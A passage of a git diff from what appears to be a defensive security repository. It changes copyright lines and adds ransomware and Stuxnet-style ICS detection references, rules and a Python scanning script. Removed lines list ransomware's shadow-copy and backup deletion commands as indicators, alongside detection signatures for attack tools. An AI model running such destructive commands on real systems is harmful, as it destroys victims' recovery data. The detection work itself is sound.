27f5a0fe..09d37ad6 100644 --- a/skills/detecting-fileless-attacks-on-endpoints/LICENSE +++ b/skills/detecting-fileless-attacks-on-endpoints/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-fileless-malware-techniques/LICENSE b/skills/detecting-fileless-malware-techniques/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-fileless-malware-techniques/LICENSE +++ b/skills/detecting-fileless-malware-techniques/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE +++ b/skills/detecting-golden-ticket-attacks-in-kerberos-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-golden-ticket-attacks/LICENSE b/skills/detecting-golden-ticket-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-golden-ticket-attacks/LICENSE +++ b/skills/detecting-golden-ticket-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE b/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE +++ b/skills/detecting-insider-data-exfiltration-via-dlp/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-insider-threat-behaviors/LICENSE b/skills/detecting-insider-threat-behaviors/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-insider-threat-behaviors/LICENSE +++ b/skills/detecting-insider-threat-behaviors/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-kerberoasting-attacks/LICENSE b/skills/detecting-kerberoasting-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-kerberoasting-attacks/LICENSE +++ b/skills/detecting-kerberoasting-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-lateral-movement-in-network/LICENSE b/skills/detecting-lateral-movement-in-network/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-lateral-movement-in-network/LICENSE +++ b/skills/detecting-lateral-movement-in-network/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-lateral-movement-with-splunk/LICENSE b/skills/detecting-lateral-movement-with-splunk/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-lateral-movement-with-splunk/LICENSE +++ b/skills/detecting-lateral-movement-with-splunk/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-mimikatz-execution-patterns/LICENSE b/skills/detecting-mimikatz-execution-patterns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-mimikatz-execution-patterns/LICENSE +++ b/skills/detecting-mimikatz-execution-patterns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-misconfigured-azure-storage/LICENSE b/skills/detecting-misconfigured-azure-storage/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-misconfigured-azure-storage/LICENSE +++ b/skills/detecting-misconfigured-azure-storage/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-mobile-malware-behavior/LICENSE b/skills/detecting-mobile-malware-behavior/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-mobile-malware-behavior/LICENSE +++ b/skills/detecting-mobile-malware-behavior/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-modbus-command-injection-attacks/LICENSE b/skills/detecting-modbus-command-injection-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-modbus-command-injection-attacks/LICENSE +++ b/skills/detecting-modbus-command-injection-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-modbus-protocol-anomalies/LICENSE b/skills/detecting-modbus-protocol-anomalies/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-modbus-protocol-anomalies/LICENSE +++ b/skills/detecting-modbus-protocol-anomalies/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-network-anomalies-with-zeek/LICENSE b/skills/detecting-network-anomalies-with-zeek/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-network-anomalies-with-zeek/LICENSE +++ b/skills/detecting-network-anomalies-with-zeek/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-network-scanning-with-ids-signatures/LICENSE b/skills/detecting-network-scanning-with-ids-signatures/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-network-scanning-with-ids-signatures/LICENSE +++ b/skills/detecting-network-scanning-with-ids-signatures/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-pass-the-hash-attacks/LICENSE b/skills/detecting-pass-the-hash-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-pass-the-hash-attacks/LICENSE +++ b/skills/detecting-pass-the-hash-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-port-scanning-with-fail2ban/LICENSE b/skills/detecting-port-scanning-with-fail2ban/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-port-scanning-with-fail2ban/LICENSE +++ b/skills/detecting-port-scanning-with-fail2ban/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-privilege-escalation-attempts/LICENSE b/skills/detecting-privilege-escalation-attempts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-privilege-escalation-attempts/LICENSE +++ b/skills/detecting-privilege-escalation-attempts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE b/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE +++ b/skills/detecting-privilege-escalation-in-kubernetes-pods/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-process-hollowing-technique/LICENSE b/skills/detecting-process-hollowing-technique/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-process-hollowing-technique/LICENSE +++ b/skills/detecting-process-hollowing-technique/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-process-injection-techniques/LICENSE b/skills/detecting-process-injection-techniques/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-process-injection-techniques/LICENSE +++ b/skills/detecting-process-injection-techniques/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-qr-code-phishing-with-email-security/LICENSE b/skills/detecting-qr-code-phishing-with-email-security/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-qr-code-phishing-with-email-security/LICENSE +++ b/skills/detecting-qr-code-phishing-with-email-security/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-ransomware-precursors-in-network/LICENSE b/skills/detecting-ransomware-precursors-in-network/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-ransomware-precursors-in-network/LICENSE +++ b/skills/detecting-ransomware-precursors-in-network/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-ransomware-precursors-in-network/references/api-reference.md b/skills/detecting-ransomware-precursors-in-network/references/api-reference.md index c47414fa..e6bc9457 100644 --- a/skills/detecting-ransomware-precursors-in-network/references/api-reference.md +++ b/skills/detecting-ransomware-precursors-in-network/references/api-reference.md @@ -1,87 +1,158 @@ -# API Reference: Ransomware Precursor Detection +# API Reference — Detecting Ransomware Precursors in Network Traffic -## Zeek (Bro) conn.log Fields +## Zeek (Bro) Log Fields -### Tab-separated Fields -| Index | Field | Description | -|-------|-------|-------------| -| 0 | ts | Timestamp | -| 1 | uid | Connection UID | -| 2 | id.orig_h | Source IP | -| 3 | id.orig_p | Source port | -| 4 | id.resp_h | Destination IP | -| 5 | id.resp_p | Destination port | -| 6 | proto | Protocol (tcp/udp) | -| 7 | service | Detected service | -| 8 | duration | Connection duration | -| 9 | orig_bytes | Bytes from originator | -| 10 | resp_bytes | Bytes from responder | +### conn.log +| Field | Type | Description | +|-------|------|-------------| +| `ts` | time | Connection start timestamp (Unix epoch) | +| `id.orig_h` | addr | Source IP address | +| `id.orig_p` | port | Source port | +| `id.resp_h` | addr | Destination IP address | +| `id.resp_p` | port | Destination port | +| `proto` | enum | Transport protocol (tcp/udp/icmp) | +| `orig_bytes` | count | Bytes sent by originator | +| `resp_bytes` | count | Bytes sent by responder | +| `conn_state` | string | Connection state (SF=normal, S0=no reply, REJ=rejected) | +| `duration` | interval | Duration of connection | -## Ransomware-Associated Network Indicators +### smb_files.log +| Field | Type | Description | +|-------|------|-------------| +| `action` | enum | SMB action (SMB_FILE_OPEN, SMB_FILE_WRITE, SMB_FILE_DELETE) | +| `path` | string | Full UNC path accessed | +| `name` | string | Filename | +| `size` | count | File size in bytes | +| `id.orig_h` | addr | Source host (accessor) | +| `id.resp_h` | addr | Target host | -### Ports -| Port | Service | Risk | -|------|---------|------| -| 445 | SMB | Lateral movement, EternalBlue | -| 3389 | RDP | Brute force, initial access | -| 4444 | Metasploit default | C2 callback | -| 135 | RPC | WMI lateral movement | -| 5985/5986 | WinRM | Remote execution | +### kerberos.log +| Field | Type | Description | +|-------|------|-------------| +| `request_type` | string | KRB_AS_REQ, KRB_TGS_REQ | +| `client` | string | Client principal | +| `service` | string | Service principal (SPN) | +| `success` | bool | Whether request succeeded | +| `error_msg` | string | Error type (e.g., KDC_ERR_PREAUTH_REQUIRED) | -## Windows Event Log IDs +## Suricata CLI -### Security Log -| Event ID | Description | -|----------|-------------| -| 4625 | Failed logon (brute force indicator) | -| 4624 | Successful logon (type 3 = network) | -| 4648 | Explicit credential logon | -| 4672 | Special privileges assigned | - -### System Log -| Event ID | Description | -|----------|-------------| -| 7036 | Service state change (VSS) | -| 7045 | New service installed | - -### PowerShell Operational Log -| Event ID | Description | -|----------|-------------| -| 4104 | Script block logging | -| 4103 | Module logging | - -## Shadow Copy Deletion Commands -``` -vssadmin delete shadows /all /quiet -wmic shadowcopy delete -bcdedit /set {default} recoveryenabled no -bcdedit /set {default} bootstatuspolicy ignoreallfailures -wbadmin delete catalog -quiet +### Start in IDS mode +```bash +suricata -c /etc/suricata/suricata.yaml -i eth0 ``` -## Suricata Rules for Ransomware Detection -``` -alert smb any any -> $HOME_NET 445 (msg:"ET EXPLOIT EternalBlue"; - content:"|ff|SMB|73|"; sid:2024217; rev:3;) - -alert tcp $HOME_NET any -> any 443 (msg:"Ransomware C2 beacon"; - flow:established,to_server; content:"POST"; - pcre:"/\/[a-z]{4,8}\/[a-f0-9]{32}/i"; sid:9000001;) +### Start in IPS mode (NFQUEUE) +```bash +suricata -c /etc/suricata/suricata.yaml -q 0 +# Configure iptables to send traffic to NFQUEUE: +iptables -I FORWARD -j NFQUEUE --queue-num 0 ``` -## CrowdStrike Falcon API — IOC Search -```http -GET https://api.crowdstrike.com/indicators/queries/iocs/v1 -Authorization: Bearer {token} -Content-Type: application/json - -?types=domain&values=malicious-domain.com +### Run on pcap file +```bash +suricata -c /etc/suricata/suricata.yaml -r capture.pcap -l /var/log/suricata/ ``` -### Response -```json -{ - "resources": ["indicator_id_1"], - "meta": {"query_time": 0.005} -} +### Update rules with suricata-update +```bash +suricata-update # Update all enabled sources +suricata-update list-sources # List available rule sources +suricata-update enable-source et/open # Enable Emerging Threats Open +suricata-update enable-source ptresearch/attackdetection # PT Research rules +suricata-update update-sources # Refresh source index +suricata-update --no-reload # Update without live reload ``` + +### Reload rules without restart +```bash +kill -USR2 $(pidof suricata) +# Or via Unix socket: +suricatasc -c reload-rules +``` + +### Query eve.json for alerts +```bash +# Ransomware-related alerts in last hour +jq 'select(.event_type=="alert") | select(.alert.signature | test("ransomware|cobalt|mimikatz|psexec";"i"))' \ + /var/log/suricata/eve.json | jq -r '[.timestamp,.src_ip,.dest_ip,.alert.signature] | @tsv' + +# Top 10 alert signatures +jq -r 'select(.event_type=="alert") | .alert.signature' /var/log/suricata/eve.json | \ + sort | uniq -c | sort -rn | head -10 +``` + +## RITA (Real Intelligence Threat Analytics) + +### Import Zeek logs and analyze +```bash +rita import --input /var/log/zeek/current/ --database my_network +rita analyze my_network +``` + +### Beacon detection output +```bash +rita show-beacons my_network --human-readable +# Columns: Score | Source | Dest | Connections | Avg Bytes | TS Delta +# Score 0.9+ = high confidence beacon +``` + +### DNS tunneling detection +```bash +rita show-exploded-dns my_network | head -20 +rita show-long-connections my_network --human-readable +``` + +## Splunk SPL — Ransomware Precursor Queries + +### Internal lateral movement via SMB/RDP/WinRM +```spl +index=zeek sourcetype=zeek_conn + id.resp_p IN (445, 135, 3389, 5985, 5986) + id.orig_h IN 10.0.0.0/8 + id.resp_h IN 10.0.0.0/8 +| stats dc(id.resp_h) as targets count as conns by id.orig_h +| where targets >= 10 +| sort -targets +``` + +### Detect beaconing (regular connection intervals) +```spl +index=zeek sourcetype=zeek_conn +| bucket _time span=1m +| stats count as conns by id.orig_h, id.resp_h, id.resp_p, _time +| stats stdev(conns) as jitter avg(conns) as avg_conns count as minutes + by id.orig_h, id.resp_h, id.resp_p +| where minutes > 10 AND jitter < 2 AND avg_conns > 0 +| eval beacon_score = round(1 - (jitter / (avg_conns + 0.001)), 2) +| where beacon_score > 0.8 +| sort -beacon_score +``` + +## abuse.ch Threat Intelligence Feeds + +### Feodo Tracker (C2 IPs — Cobalt Strike, BazarLoader) +```bash +# CSV format: first_seen,dst_ip,dst_port,c2_status,malware +curl -s https://feodotracker.abuse.ch/downloads/ipblocklist.csv | \ + grep -v "^#" | awk -F, '{print $2}' > /tmp/c2_ips.txt +``` + +### ThreatFox IOC API +```bash +# Query recent ransomware IOCs +curl -s -X POST https://threatfox-api.abuse.ch/api/v1/ \ + -H "Content-Type: application/json" \ + -d '{"query":"get_iocs","days":7,"tag":"ransomware"}' | \ + jq '.data[] | [.ioc_value,.ioc_type,.malware,.confidence_level] | @tsv' -r +``` + +## MITRE ATT&CK Ransomware Precursor Techniques +| Technique | ID | Network Indicator | +|-----------|----|-------------------| +| Remote Services: SMB/WMI | T1021.002 | SMB port 445 traffic to many hosts | +| OS Credential Dumping: DCSync | T1003.006 | DRS GetNCChanges from non-DC | +| Kerberoasting | T1558.003 | TGS-REQ for many SPNs | +| Command & Control | T1071.001 | Regular HTTPS beaconing | +| Lateral Tool Transfer | T1570 | Large SMB file writes across hosts | +| Network Service Scanning | T1046 | Port sweeps on 445/3389/135 | diff --git a/skills/detecting-rootkit-activity/LICENSE b/skills/detecting-rootkit-activity/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-rootkit-activity/LICENSE +++ b/skills/detecting-rootkit-activity/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-s3-data-exfiltration-attempts/LICENSE b/skills/detecting-s3-data-exfiltration-attempts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-s3-data-exfiltration-attempts/LICENSE +++ b/skills/detecting-s3-data-exfiltration-attempts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-service-account-abuse/LICENSE b/skills/detecting-service-account-abuse/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-service-account-abuse/LICENSE +++ b/skills/detecting-service-account-abuse/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-shadow-api-endpoints/LICENSE b/skills/detecting-shadow-api-endpoints/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-shadow-api-endpoints/LICENSE +++ b/skills/detecting-shadow-api-endpoints/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-spearphishing-with-email-gateway/LICENSE b/skills/detecting-spearphishing-with-email-gateway/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-spearphishing-with-email-gateway/LICENSE +++ b/skills/detecting-spearphishing-with-email-gateway/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-sql-injection-via-waf-logs/LICENSE b/skills/detecting-sql-injection-via-waf-logs/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-sql-injection-via-waf-logs/LICENSE +++ b/skills/detecting-sql-injection-via-waf-logs/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-stuxnet-style-attacks/LICENSE b/skills/detecting-stuxnet-style-attacks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/detecting-stuxnet-style-attacks/LICENSE +++ b/skills/detecting-stuxnet-style-attacks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/detecting-stuxnet-style-attacks/references/api-reference.md b/skills/detecting-stuxnet-style-attacks/references/api-reference.md new file mode 100644 index 00000000..9c5bb3ac --- /dev/null +++ b/skills/detecting-stuxnet-style-attacks/references/api-reference.md @@ -0,0 +1,97 @@ +# API Reference: Stuxnet-Style ICS Attack Detection + +## Modbus TCP Protocol + +### Frame Structure +| Offset | Size | Field | +|--------|------|-------| +| 0 | 2 | Transaction ID | +| 2 | 2 | Protocol ID (0x0000) | +| 4 | 2 | Length | +| 6 | 1 | Unit ID | +| 7 | 1 | Function Code | +| 8+ | var | Data | + +### Write Function Codes (Attack-Relevant) +| Code | Name | Risk | +|------|------|------| +| 5 | Write Single Coil | Medium | +| 6 | Write Single Register | Medium | +| 15 | Write Multiple Coils | High | +| 16 | Write Multiple Registers | High | +| 22 | Mask Write Register | High | + +## Siemens S7comm Protocol + +### S7 Parameter Functions +| Code | Name | +|------|------| +| 0x04 | Read Variable | +| 0x05 | Write Variable | +| 0x1A | Request Download | +| 0x1B | Download Block | +| 0x1C | Download Ended | +| 0x28 | PLC Control (Start/Stop) | + +## Wireshark/tshark Filters + +### Modbus write operations +```bash +tshark -r capture.pcap -Y "modbus.func_code >= 5 && modbus.func_code <= 16" +``` + +### S7comm block downloads +```bash +tshark -r capture.pcap -Y "s7comm.param.func == 0x1a || s7comm.param.func == 0x1b" +``` + +### S7comm PLC stop/start +```bash +tshark -r capture.pcap -Y "s7comm.param.func == 0x28" +``` + +## Stuxnet IOC Signatures + +### YARA Rule +```yara +rule Stuxnet_Driver { + meta: + description = "Stuxnet rootkit driver" + strings: + $mrxcls = "mrxcls.sys" ascii + $mrxnet = "mrxnet.sys" ascii + $mutex = "{A3BD0EA3-CD10-4258-8784-2F53E56E2010}" + condition: + any of them +} +``` + +### Registry Keys +``` +HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation +HKLM\SYSTEM\CurrentControlSet\Services\MRxCls +HKLM\SYSTEM\CurrentControlSet\Services\MRxNet +``` + +## Siemens Step 7 Project Structure + +### Organization Blocks +| Block | Purpose | +|-------|---------| +| OB1 | Main program cycle | +| OB35 | 100ms cyclic interrupt | +| OB100 | Startup | + +### File Extensions +| Extension | Content | +|-----------|---------| +| `.awl` | Statement List source | +| `.mc7` | Compiled machine code | +| `.s7p` | Project file | + +## Snort/Suricata Rules for ICS +``` +alert tcp any any -> any 502 (msg:"Modbus Write Multiple Registers"; + content:"|00 00|"; offset:2; depth:2; + byte_test:1,=,16,7; sid:1000001;) +``` diff --git a/skills/detecting-stuxnet-style-attacks/scripts/agent.py b/skills/detecting-stuxnet-style-attacks/scripts/agent.py new file mode 100644 index 00000000..f476db67 --- /dev/null +++ b/skills/detecting-stuxnet-style-attacks/scripts/agent.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Agent for detecting Stuxnet-style ICS/SCADA attacks targeting PLCs.""" + +import argparse +import json +import os +import re +import struct +import subprocess +import sys +from datetime import datetime, timezone + + +STUXNET_IOCS = { + "file_hashes": [ + "b4b290906e3a8f1eabbb2b2864e6e7f7", + "e757c7e29297b7b7a090695e2de82b4b", + ], + "registry_keys": [ + r"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation", + r"HKLM\SYSTEM\CurrentControlSet\Services\MRxCls", + r"HKLM\SYSTEM\CurrentControlSet\Services\MRxNet", + ], + "mutex_names": [ + "Global\\{A3BD0EA3-CD10-4258-8784-2F53E56E2010}", + ], + "driver_files": [ + "mrxcls.sys", "mrxnet.sys", + ], +} + +MODBUS_FUNCTION_CODES = { + 5: "Write Single Coil", + 6: "Write Single Register", + 15: "Write Multiple Coils", + 16: "Write Multiple Registers", + 22: "Mask Write Register", + 23: "Read/Write Multiple Registers", +} + + +def check_plc_communication(pcap_path): + """Analyze PCAP for suspicious Modbus/S7 PLC communication.""" + findings = [] + try: + result = subprocess.check_output( + ["tshark", "-r", pcap_path, "-Y", "modbus || s7comm", + "-T", "fields", "-e", "ip.src", "-e", "ip.dst", + "-e", "modbus.func_code", "-e", "s7comm.param.func", + "-e", "frame.time"], + text=True, errors="replace", timeout=60 + ) + write_count = 0 + for line in result.strip().splitlines(): + fields = line.split("\t") + if len(fields) >= 3: + func_code = fields[2] if fields[2] else None + if func_code: + try: + fc = int(func_code) + if fc in MODBUS_FUNCTION_CODES: + write_count += 1 + if write_count <= 20: + findings.append({ + "src": fields[0], "dst": fields[1], + "function": MODBUS_FUNCTION_CODES[fc], + "func_code": fc, + }) + except ValueError: + pass + if write_count > 100: + findings.append({ + "alert": f"Excessive PLC write operations: {write_count}", + "severity": "CRITICAL", + }) + except (subprocess.SubprocessError, FileNotFoundError): + findings.append({"error": "tshark not available or PCAP parse failed"}) + return findings + + +def scan_for_rootkit_drivers(): + """Check for Stuxnet-style rootkit driver files.""" + findings = [] + search_dirs = [r"C:\Windows\System32\drivers", r"C:\Windows\inf"] + for d in search_dirs: + if not os.path.isdir(d): + continue + for fname in os.listdir(d): + if fname.lower() in [df.lower() for df in STUXNET_IOCS["driver_files"]]: + findings.append({ + "type": "rootkit_driver", + "path": os.path.join(d, fname), + "severity": "CRITICAL", + }) + return findings + + +def check_registry_indicators(): + """Check Windows registry for Stuxnet IOCs.""" + findings = [] + if sys.platform != "win32": + return findings + for key in STUXNET_IOCS["registry_keys"]: + try: + result = subprocess.check_output( + ["reg", "query", key], text=True, errors="replace", timeout=5 + ) + if result.strip(): + findings.append({ + "type": "registry_ioc", + "key": key, + "severity": "CRITICAL", + }) + except subprocess.SubprocessError: + pass + return findings + + +def analyze_step7_project(project_dir): + """Check Step 7 project files for unauthorized OB modifications.""" + findings = [] + if not os.path.isdir(project_dir): + return findings + for root, _, files in os.walk(project_dir): + for f in files: + fpath = os.path.join(root, f) + if f.lower().startswith("ob") and f.lower().endswith((".awl", ".mc7")): + stat = os.stat(fpath) + findings.append({ + "file": fpath, + "size": stat.st_size, + "modified": datetime.fromtimestamp(stat.st_mtime, tz=timezone.utc).isoformat(), + "note": "Organization Block file — verify integrity", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser( + description="Detect Stuxnet-style ICS/SCADA attacks" + ) + parser.add_argument("--pcap", help="PCAP file with ICS network traffic") + parser.add_argument("--step7-project", help="Siemens Step 7 project directory") + parser.add_argument("--check-host", action="store_true", help="Check host for IOCs") + parser.add_argument("--output", "-o", help="Output JSON report") + args = parser.parse_args() + + print("[*] Stuxnet-Style ICS Attack Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + if args.pcap: + plc = check_plc_communication(args.pcap) + report["findings"]["plc_traffic"] = plc + print(f"[*] PLC traffic findings: {len(plc)}") + + if args.check_host: + drivers = scan_for_rootkit_drivers() + registry = check_registry_indicators() + report["findings"]["rootkit_drivers"] = drivers + report["findings"]["registry_iocs"] = registry + print(f"[*] Driver IOCs: {len(drivers)}, Registry IOCs: {len(registry)}") + + if args.step7_project: + s7 = analyze_step7_project(args.step7_project) + report["findings"]["step7_files"] = s7 + print(f"[*] Step 7 files to verify: {len(s7)}") + + total = sum(len(v) if isinstance(v, list) else 0 for v in report["findings"].values()) + report["risk_level"] = "CRITICAL" if total >= 3 else "HIGH" if total >= 1 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == 